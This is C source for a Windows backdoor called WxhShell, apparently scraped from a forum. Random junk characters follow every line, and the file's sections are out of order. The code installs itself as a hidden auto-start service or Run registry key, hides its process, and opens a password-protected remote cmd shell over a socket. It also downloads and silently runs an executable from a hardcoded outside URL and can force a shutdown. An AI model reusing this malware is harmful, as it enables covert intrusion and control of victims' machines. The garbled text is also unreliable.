    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +aL  
    else { ;22?-F^  
    closesocket(wsh); 3IQI={:k|D  
    ExitThread(0); +DX P &Q  
    } fX 1%I  
    break; KYw7Jx`l  
    } <=GZm}/]N  
  // 获取shell E;s_=j1f  
  case 's': { ^pd7nr~Y  
    CmdShell(wsh); %q3`k#?<  
    closesocket(wsh); ut\ X{.r7  
    ExitThread(0); B!,&{[D  
    break; Nv.  
  } XP o#qT8n  
  // 退出 poW%Fzj  
  case 'x': { d]E={}qo&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xok T  
    CloseIt(wsh); f4\$<g/~  
    break; jY%.t)>)  
    } au+Jz_$)  
  // 离开 A :KZyd"Z  
  case 'q': { SO *oBA'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =TNFAt  
    closesocket(wsh); HM0&%  
    WSACleanup(); }:c~5whN  
    exit(1); 4V4S5V  
    break; @@K/0:],  
        } Vdx o  
  } '_4apyq|  
  } _,60pr3D'  
/huh}&NNu  
  // 提示信息 FCEmg0qdjD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C F','gPnc  
} BK4S$B  
  } d3q.i5']G  
Qd YYWD   
  return; =cS5f#0  
} JD0s0>q_  
aV|V C $  
// shell模块句柄 h M7 SGEV  
int CmdShell(SOCKET sock) 9#P~cW?  
{ S-o )d  
STARTUPINFO si; hx&fV#m  
ZeroMemory(&si,sizeof(si)); #~/9cVm$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UakVmVN/P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C=r`\W  
PROCESS_INFORMATION ProcessInfo; %i3[x.M  
char cmdline[]="cmd"; beikzuC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HP_h!pvx  
  return 0; +`gU{e,p  
} W`vPf  
ysG1{NOl  
// 自身启动模式 CKZEX*mPC  
int StartFromService(void) 0Yq_B+IC  
{ eL"'-d+]  
typedef struct _F[a2PE2+  
{ 1G12FV>M  
  DWORD ExitStatus; @fmp2!?6  
  DWORD PebBaseAddress; i0wBZ i?  
  DWORD AffinityMask; lJ=EP.T  
  DWORD BasePriority; /cx'(AT  
  ULONG UniqueProcessId; u9v,B$ S  
  ULONG InheritedFromUniqueProcessId; zLe(#8G  
}   PROCESS_BASIC_INFORMATION; Z7pX%nj_  
wM N;<  
PROCNTQSIP NtQueryInformationProcess; CQ.C{  
e8dZR3JL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?'a>?al%>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u(8{5"C  
<)a$5"AP  
  HANDLE             hProcess; oqh@ (<%  
  PROCESS_BASIC_INFORMATION pbi; Uaux0W  
]U'zy+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s?m_zJh  
  if(NULL == hInst ) return 0; FO[ s;dmzu  
4Ol1T(J#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Hs8JJGXWB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6c(b*o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *rw6?u9I  
LlgFQfu8  
  if (!NtQueryInformationProcess) return 0; . G25D  
qzORv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Tim/7*vx  
  if(!hProcess) return 0; !:5'MI@  
w@R"g%k-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9#1?Pt^{<  
s 7w A3|9  
  CloseHandle(hProcess); h@*I(ND<  
~a2|W|?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %hBwc#^  
if(hProcess==NULL) return 0; >6&Rytcc]  
 q9{ h@y  
HMODULE hMod; ltk ARc3  
char procName[255]; b|k^   
unsigned long cbNeeded; #W/Ch"Kv  
<m~8pM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <5j%!6zo  
}jC^&%|  
  CloseHandle(hProcess); ^4 ,LIIUj  
!mqIq} h  
if(strstr(procName,"services")) return 1; // 以服务启动 X=f%!  
XY6Sm{  
  return 0; // 注册表启动 QR(;a:  
} ^CQp5kp]  
QA^FP8!j  
// 主模块 /SM 7t_  
int StartWxhshell(LPSTR lpCmdLine) ?o6#i3k#'  
{ eB9&HD:  
  SOCKET wsl; zBq&/?  
BOOL val=TRUE; A7#nBHwxZ  
  int port=0; ucz~y! 4L{  
  struct sockaddr_in door; vJi<PQ6  
A =Z$H2  
  if(wscfg.ws_autoins) Install(); ztHx) !  
}BT0dKx  
port=atoi(lpCmdLine); 0/|Ax-dK  
!PeSnO  
if(port<=0) port=wscfg.ws_port; qhTVsZ:{C  
XABP}|aWK  
  WSADATA data; VuTTWBx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wBw(T1VN  
Iy;"ht6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PU%f`)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *PFQ  
  door.sin_family = AF_INET; %zY5'$v `  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tUOY`]0  
  door.sin_port = htons(port); Nc[N 11?O  
t OJyj49^a  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ' e!WZvr  
closesocket(wsl); Z Q*hrgQ  
return 1; e, 2/3jO  
} YZ:C9:S6X  
m}D;=>2$  
  if(listen(wsl,2) == INVALID_SOCKET) { Q;z!]hjBM  
closesocket(wsl); -\B*reC  
return 1; b|E ZD3y  
} UEx<;P8rP  
  Wxhshell(wsl); ^C~R)M:C  
  WSACleanup(); *]R5bj.!o  
`Xeiz'~f8  
return 0; =E!Y f#p+q  
cl4 _M{~  
} (`#z@,1  
r: >RH,  
// 以NT服务方式启动 mqsAYzG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^[bFGKE  
{ -O1$jBQ S  
DWORD   status = 0; ]n"RPktx  
  DWORD   specificError = 0xfffffff; "LkBN0D  
Nr*X1lJ6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w?8\9\ ;?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A1Uy|Dl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B1U!*yzG6  
  serviceStatus.dwWin32ExitCode     = 0; kMLJa=]$  
  serviceStatus.dwServiceSpecificExitCode = 0; tEo-Mj5:  
  serviceStatus.dwCheckPoint       = 0; NMhpKno  
  serviceStatus.dwWaitHint       = 0; rx9y^E5T`;  
?>V>6cDQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YjL'GmL<  
  if (hServiceStatusHandle==0) return; [Pjitw/?  
v#s*I/kw  
status = GetLastError(); z6B#F<h  
  if (status!=NO_ERROR) W)T'?b'.  
{ gzKMGL?%?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S!gzmkGcj  
    serviceStatus.dwCheckPoint       = 0; #M'V%^xP  
    serviceStatus.dwWaitHint       = 0; zv;xxAX  
    serviceStatus.dwWin32ExitCode     = status; [N9yW uc  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1$C?+H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zv/dj04>  
    return; ]s)Y">6  
  } oqbz!dM(Z  
Wuk8&P3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0m> 8  
  serviceStatus.dwCheckPoint       = 0; ]i0=3H2  
  serviceStatus.dwWaitHint       = 0; U~?mW,iRL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6=,zkU*i ^  
} zd!%7 UP  
xb0,dZb  
// 处理NT服务事件,比如:启动、停止 #%E^cGfY  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  !j%  
{ P?|\Ig1Gk  
switch(fdwControl) gzat!>*  
{ , #GB  
case SERVICE_CONTROL_STOP: "zXrfn  
  serviceStatus.dwWin32ExitCode = 0; d2gYB qag  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; rMjb,2*rC7  
  serviceStatus.dwCheckPoint   = 0; kF,ME5%  
  serviceStatus.dwWaitHint     = 0; /)K;XtcN  
  { I 2OQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5cU:wc  
  } Rcw[`q3/  
  return; 's5rl  
case SERVICE_CONTROL_PAUSE: ~QPTs1Vk8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; B B69U  
  break; -}!mi V  
case SERVICE_CONTROL_CONTINUE: OX]P;#4tU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BaIuOZ@,  
  break; s]kzXzRC?  
case SERVICE_CONTROL_INTERROGATE: c[ 0`8s!  
  break; +U_1B%e(%  
}; 8>x' . 8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L1g0Dd\Ox  
} bE2O[B  
I"3C/ pU2  
// 标准应用程序主函数 6H  U*,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZADMtsk  
{ ZS]Z0iZv9  
G'w!Aw s  
// 获取操作系统版本 ?)k ]Vg.  
OsIsNt=GetOsVer(); \.H9e/vU`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); | V{ Q  
vp!F6ZwO  
  // 从命令行安装 +'olC^?5 }  
  if(strpbrk(lpCmdLine,"iI")) Install(); )YAU|sCAi$  
b30Jr2[  
  // 下载执行文件 !'BXc%`x[  
if(wscfg.ws_downexe) { O j:I @c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X9FO"(J  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7(tsmP  
} VX8CEO  
pO:]3qv  
if(!OsIsNt) { C8Mx>6  
// 如果时win9x,隐藏进程并且设置为注册表启动 &Q}%b7  
HideProc(); PO6yE r  
StartWxhshell(lpCmdLine); lfC]!=2%~8  
} n9J{f"`m  
else U2WHs3  
  if(StartFromService()) [v*q%Mi_  
  // 以服务方式启动 !|u?z%  
  StartServiceCtrlDispatcher(DispatchTable); |?g-8":H8P  
else "gm5 DE  
  // 普通方式启动 Dg0rVV6c  
  StartWxhshell(lpCmdLine); ;i?2^xe^~c  
/JC1o&z_T  
return 0; ?vAhDD5  
} vF'>?O?  
;sAGTq  
wik<# ke  
C|3Xz[k{  
=========================================== g<0K i^#  
J!5b~8`v  
.7b%7dQ<\  
`Z5dRLrd  
9609  
DQXcf*R  
" Ny$3$5/  
S1y6G/e9  
#include <stdio.h> /Qr`au  
#include <string.h> I{[Z  
#include <windows.h> 2YW;=n  
#include <winsock2.h> G bclu.4  
#include <winsvc.h> . o /uA  
#include <urlmon.h> HZ Wt>f  
D^.  c:  
#pragma comment (lib, "Ws2_32.lib") =QtFJ9\  
#pragma comment (lib, "urlmon.lib") `\\s%}vZ*T  
qA`@~\ qh"  
#define MAX_USER   100 // 最大客户端连接数 \6?a  
#define BUF_SOCK   200 // sock buffer L;j++^p  
#define KEY_BUFF   255 // 输入 buffer L2EQ 9i'[  
h{ix$Xn~  
#define REBOOT     0   // 重启 @d 7V@F0d  
#define SHUTDOWN   1   // 关机 c$&({Z{1  
YOGj__:  
#define DEF_PORT   5000 // 监听端口 Ow4(1eE_  
Gvh"3|u ?z  
#define REG_LEN     16   // 注册表键长度 /PTRe5-7  
#define SVC_LEN     80   // NT服务名长度 T9Juq6|  
$S?gQN.e  
// 从dll定义API L_vl%ii-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m=^]93+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rg>2tgA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kln)7SzPuk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Bh cp=#  
ZnI15bsDx  
// wxhshell配置信息 m<>BxX  
struct WSCFG { P,'%$DLDg  
  int ws_port;         // 监听端口 _\tv ${  
  char ws_passstr[REG_LEN]; // 口令 (,QWK08  
  int ws_autoins;       // 安装标记, 1=yes 0=no AzXLlQ  
  char ws_regname[REG_LEN]; // 注册表键名 ]2)A/fOW  
  char ws_svcname[REG_LEN]; // 服务名 j"h/v7~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [*zg? ur  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $;q }j vo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y01! D"{\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e]88 4FP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o#f"wQH;p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pUqC88*j  
3s%ND7!/  
}; OQ?N_zs,  
&5b 3k[K"  
// default Wxhshell configuration msfE;  
struct WSCFG wscfg={DEF_PORT, 9+N%Io?!  
    "xuhuanlingzhe", EXVZ?NG  
    1, ll X `  
    "Wxhshell", ?%Nh4+3N>  
    "Wxhshell", [t fB*m5  
            "WxhShell Service", OmBz'sp:  
    "Wrsky Windows CmdShell Service", Pm/i,T6&\  
    "Please Input Your Password: ", *{fs{gFw9  
  1, b6f OHy  
  "http://www.wrsky.com/wxhshell.exe", I]e+5 E0  
  "Wxhshell.exe" ;]=w6'dP!  
    }; [F+W]Jk,  
Yn= "vpM1  
// 消息定义模块 d:K\W[$Bz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; F.$z7ee@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }p2iF2g9`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gg9MAK\C9  
char *msg_ws_ext="\n\rExit."; =cjO]  
char *msg_ws_end="\n\rQuit."; ]Rxo}A  
char *msg_ws_boot="\n\rReboot..."; vFR *3$ R  
char *msg_ws_poff="\n\rShutdown..."; 9N9&y^SmD  
char *msg_ws_down="\n\rSave to "; fuUtM_11  
.4 WJk>g  
char *msg_ws_err="\n\rErr!"; jj]\]6@+P  
char *msg_ws_ok="\n\rOK!"; Fk3(( n=  
P%e7c,  
char ExeFile[MAX_PATH]; = N*Jis  
int nUser = 0; PZ8,E{V  
HANDLE handles[MAX_USER]; zQY ,}a  
int OsIsNt; 1;=L] L?  
g_syGQ\  
SERVICE_STATUS       serviceStatus; ={P`Tve  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $-1ajSVJ  
ye$_=KARP  
// 函数声明 kpn|C 9r  
int Install(void); ANu>*  
int Uninstall(void); [h;I)ug[o(  
int DownloadFile(char *sURL, SOCKET wsh); \~%+)a%%  
int Boot(int flag); wX]$xZ!s  
void HideProc(void); gU x}vE-  
int GetOsVer(void); g-d{"ZXd J  
int Wxhshell(SOCKET wsl); 63u%=-T%a  
void TalkWithClient(void *cs); VmPh''Z%-  
int CmdShell(SOCKET sock); lY tt|J  
int StartFromService(void); ^{MqJ\S7H  
int StartWxhshell(LPSTR lpCmdLine); JnBc@qnP6  
)x/#sW%)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _< .VP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8~C}0H  
}bS1M  
// 数据结构和表定义 d0I s|Gs  
SERVICE_TABLE_ENTRY DispatchTable[] = p)/e;q^  
{ /)_4QSz7  
{wscfg.ws_svcname, NTServiceMain}, 08nh y[  
{NULL, NULL} ,R`CAf%*  
}; c 1F^Gj!8  
K& ^qn&  
// 自我安装 lUEbxN  
int Install(void) St%x\[D  
{ +-|""`I1I  
  char svExeFile[MAX_PATH]; ,#ZPg_x?1  
  HKEY key; 9#:nlu9  
  strcpy(svExeFile,ExeFile); 'xqyG XI  
?Cf'IBpN  
// 如果是win9x系统,修改注册表设为自启动 mgx|5Otg  
if(!OsIsNt) { ~+4lmslR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *Sj) 9mp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u$%C`v>  
  RegCloseKey(key); u$aK19K/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { La1:WYt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |cY HH$  
  RegCloseKey(key); %;:![?M  
  return 0; .2JZ7  
    } "H(3pl.  
  } cDz@3So.b  
} n?r8ZDJ'  
else { .euA N8L  
@9 S ::  
// 如果是NT以上系统,安装为系统服务 *J[ P#y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vm+3!s:u  
if (schSCManager!=0) C<^i`[&P$  
{ EWDsBNZaI  
  SC_HANDLE schService = CreateService PM[W7g T  
  ( j? BL8E'   
  schSCManager, Q*#Lr4cm{  
  wscfg.ws_svcname, [m:cO6DM,  
  wscfg.ws_svcdisp, _1gNU]"  
  SERVICE_ALL_ACCESS, WMtFXkf6"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , C:Rs~@tl  
  SERVICE_AUTO_START, vf3)T;X>  
  SERVICE_ERROR_NORMAL, geyCS3 :p  
  svExeFile, Lbz/M _G  
  NULL, ;F @Sz/  
  NULL, Gxe)5,G  
  NULL, i`F5  
  NULL, ZiuD0#"!  
  NULL 8`+=~S  
  ); o4FHR+u<M  
  if (schService!=0) ,byc!P  
  { <<d#  
  CloseServiceHandle(schService); AQjv? 4)T  
  CloseServiceHandle(schSCManager); R5=J:o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); <T[LugI  
  strcat(svExeFile,wscfg.ws_svcname); 3'.3RKV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R&W%E%uj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bDWL Hdu a  
  RegCloseKey(key); 6Z#Nh@!+C  
  return 0; 30^q_|l:]  
    } Fc`IRPW<  
  } 'Jf LTG.  
  CloseServiceHandle(schSCManager); 85&7WAco"B  
} tP|/Q 5s  
}  }cMkh  
Z]b;%:>=  
return 1; .c]>*/(+  
} )Q`Ycz-  
=a,qRO  
// 自我卸载 N:U}b1$L6  
int Uninstall(void) s&nat4{B  
{ yGtTD9j  
  HKEY key; H1U$ApD  
K]$PRg1| 3  
if(!OsIsNt) { ^O7sQ7V"f=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j$Ndq(<tG  
  RegDeleteValue(key,wscfg.ws_regname); Nut&g"u2  
  RegCloseKey(key); HQ"T>xb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'm*W<  
  RegDeleteValue(key,wscfg.ws_regname); QTa\&v[f  
  RegCloseKey(key); B;[ .u>f  
  return 0; ldTXW(^j  
  } _0Ea 3K  
} n[DRX5OxR'  
} l GYW[0dy  
else { ddN(L`nd  
VCc=dME  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tfh2>  
if (schSCManager!=0) /A0_#g:2*#  
{ iqB5h| `  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fe yc  
  if (schService!=0) *bp09XG  
  { *D%w r'!>  
  if(DeleteService(schService)!=0) { BmpAH}%T  
  CloseServiceHandle(schService); "v?F4&\ 8  
  CloseServiceHandle(schSCManager); o7E|wS  
  return 0; P,pC Z+H  
  } #:BkDidt2v  
  CloseServiceHandle(schService); \12G,tBH  
  } {?lndBP<  
  CloseServiceHandle(schSCManager); ^*fD  
} }d; 2[fR)  
} \ejHM}w3,  
tm5{h{AM  
return 1; rVP\F{Q4Tr  
} '9u?lA^9$  
jA9uB.I,"b  
// 从指定url下载文件 AcuZ? LYzK  
int DownloadFile(char *sURL, SOCKET wsh) AmIW$(Ce  
{ E'4Psx9: =  
  HRESULT hr; 4#>Z.sf  
char seps[]= "/"; Q SF0?Puf  
char *token; rtAPkXJFM  
char *file; >(P(!^[f  
char myURL[MAX_PATH]; lv/im/]v  
char myFILE[MAX_PATH]; RYCiO,+  
j17h_ a;  
strcpy(myURL,sURL); `Ns@W?  
  token=strtok(myURL,seps); !{+CzUo@  
  while(token!=NULL) Z4Q]By:/L  
  { O'(Us!aq  
    file=token; ( gg )?  
  token=strtok(NULL,seps); AJB NM  
  } giu{,gS0?M  
E`_T_O=P  
GetCurrentDirectory(MAX_PATH,myFILE); B /uaRi%  
strcat(myFILE, "\\"); %C`P7&8m=O  
strcat(myFILE, file); P `@Rt  
  send(wsh,myFILE,strlen(myFILE),0); ]:LlOv$  
send(wsh,"...",3,0); U%bm{oVn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z<9C-  
  if(hr==S_OK) *;}xg{@  
return 0; D*2*FDGI  
else s i2@k  
return 1; 3);P !W4>  
"|I.j)  
} $=diG  
hO[_ _j8  
// 系统电源模块 N{bg-%s10i  
int Boot(int flag) KE"6I  
{ Hre&a!U  
  HANDLE hToken; AJ6l#j-  
  TOKEN_PRIVILEGES tkp; Kw"e4 a  
rzHBop-8  
  if(OsIsNt) { rK'Lvt@w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .?s jr4   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o@gceZuk  
    tkp.PrivilegeCount = 1; #pPOQv:~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .*YF{!R`h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ./;uhj  
if(flag==REBOOT) { 94&t0j_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .F$}a%  
  return 0; U9T}iI  
}  'V^M+ng  
else { c&wg`1{Hal  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F% a&|X  
  return 0; D"aK;_W@h  
} Htr]_<@  
  } s9"X.-!  
  else { wbF`wi?  
if(flag==REBOOT) { er24}G8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gmH`XKi\  
  return 0; |Q)mBvvN  
} xdbzp U  
else { '.z7)n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @2. :fK  
  return 0; eE'>kP}  
} r e zp7  
} &&l ZUR,`  
*cM=>3ws/  
return 1; {1Cnrjw  
} 75p9_)>96  
_!zc <&~I  
// win9x进程隐藏模块 7"2BZ  
void HideProc(void) )/DN>rU  
{ k0=!%f_G!  
WqefH{PB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +o4o!;E)  
  if ( hKernel != NULL ) Wjq9f;  
  { !m:WoQ/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;"IWm<]h;-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Uv[a ~'  
    FreeLibrary(hKernel); ($`IHKF1.l  
  } _Ycz@Jn  
/9kxDbj  
return; XdThl  
} 7#+Ih-&EQ  
]tu OWR  
// 获取操作系统版本 M887 Q'HSi  
int GetOsVer(void) k-3;3Mq  
{ Q8Ek}O\MC  
  OSVERSIONINFO winfo; 5@1h^w v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *JX$5bZsI  
  GetVersionEx(&winfo); MOB4t|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]\K?%z  
  return 1; l=9D!6 4  
  else tH;9"z# ~  
  return 0; %8I^&~E1  
} 6R^F^<<  
l-W)? d  
// 客户端句柄模块 :I7qw0?  
int Wxhshell(SOCKET wsl) [r>hK ZU2  
{ ^k % +ao  
  SOCKET wsh; l opl  
  struct sockaddr_in client; g zi=+oJ|4  
  DWORD myID; lwt,w<E$  
)|v  du  
  while(nUser<MAX_USER) G3|23G.~)(  
{ En7+fQ  
  int nSize=sizeof(client); )G/=3;!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ESoqmCJjb:  
  if(wsh==INVALID_SOCKET) return 1; i#YDdz  
yxx_%9X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4w%hvJ  
if(handles[nUser]==0) Bn 8&~  
  closesocket(wsh); !lzj.|7=1  
else "24d:vf\  
  nUser++; Ay6T*Nu`  
  } 9nQyPb6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ApSseBhh  
_:Q^mV=;j  
  return 0; }P%gwgPK  
} $I-iq @  
3F;0a ;[  
// 关闭 socket `2U,#nZ 4  
void CloseIt(SOCKET wsh) V9< E `C  
{ chD7 ^&5]  
closesocket(wsh); fXnTqKAfu6  
nUser--; _Q^jk0K8ga  
ExitThread(0); =aj|auu  
} 0e"KdsA:<U  
U[;ECw@  
// 客户端请求句柄 ;(,GS@sP  
void TalkWithClient(void *cs) $/Wec,`&  
{ 1 c"s+k]9  
@Z$fEG)9  
  SOCKET wsh=(SOCKET)cs; ! weYOOu  
  char pwd[SVC_LEN]; zQ<&[Tuwa  
  char cmd[KEY_BUFF]; o(v`  
char chr[1]; Z{(Gib~{N  
int i,j; !^L}LtqHI  
sR PQr ?  
  while (nUser < MAX_USER) { _d~GY,WTdO  
oU3gy[wF;b  
if(wscfg.ws_passstr) { N0lFx?4  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /Tl ybSC1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P/~dY  
  //ZeroMemory(pwd,KEY_BUFF); "e\73?P  
      i=0; O+XQP!T  
  while(i<SVC_LEN) { oKSW:A  
$(J)F-DB i  
  // 设置超时 AS0(NlV  
  fd_set FdRead; _kOuD}_|  
  struct timeval TimeOut; i-0AcN./p  
  FD_ZERO(&FdRead); |'i ?o  
  FD_SET(wsh,&FdRead); ~:!& }e5  
  TimeOut.tv_sec=8; Vx0Hq`_14  
  TimeOut.tv_usec=0; K'e!BZm6Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "[A&S!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [uie]*^  
j }^?Snq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rf$[8d  
  pwd=chr[0]; jkuNafp}  
  if(chr[0]==0xd || chr[0]==0xa) { )tV]h#4  
  pwd=0; $a\X(okx  
  break; tvzO)&)$  
  } hhjsg?4uL  
  i++; *X|%H-Q:H`  
    } Dh{P23}  
5.0;xz}#y  
  // 如果是非法用户,关闭 socket ,V4pFQzL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t?uw^nV3E  
} &U.y):  
H-5f!>)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); e!i.u'z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =|-xj h  
F+xMXBD@>*  
while(1) { bg4VHT7?>)  
<N 80MU L|  
  ZeroMemory(cmd,KEY_BUFF); g5Hsz,x  
I GcR5/3  
      // 自动支持客户端 telnet标准   S9/\L6Rmf  
  j=0; [MC}zd'/  
  while(j<KEY_BUFF) { 8^-g yx'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9D%~~~ %b  
  cmd[j]=chr[0]; Q"xDRQA  
  if(chr[0]==0xa || chr[0]==0xd) { I$i1o #H  
  cmd[j]=0; Pt;\]?LVrD  
  break; ~ C_2D?  
  } Q%GLT,f1.  
  j++; ^eYJ7&t  
    } C$c.(5/O  
5o(=?dXm4  
  // 下载文件 78b9Sdi&  
  if(strstr(cmd,"http://")) { =(k0^ #++G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hU2 N{Ac  
  if(DownloadFile(cmd,wsh)) tK <)A)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H~*[v"  
  else &P8Q|A-u  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x2f_>tu2  
  } inGH'nl_  
  else { ]@1ncn7N  
RzSN,bL R  
    switch(cmd[0]) { p7O4CP>9[  
  p/s5[>N  
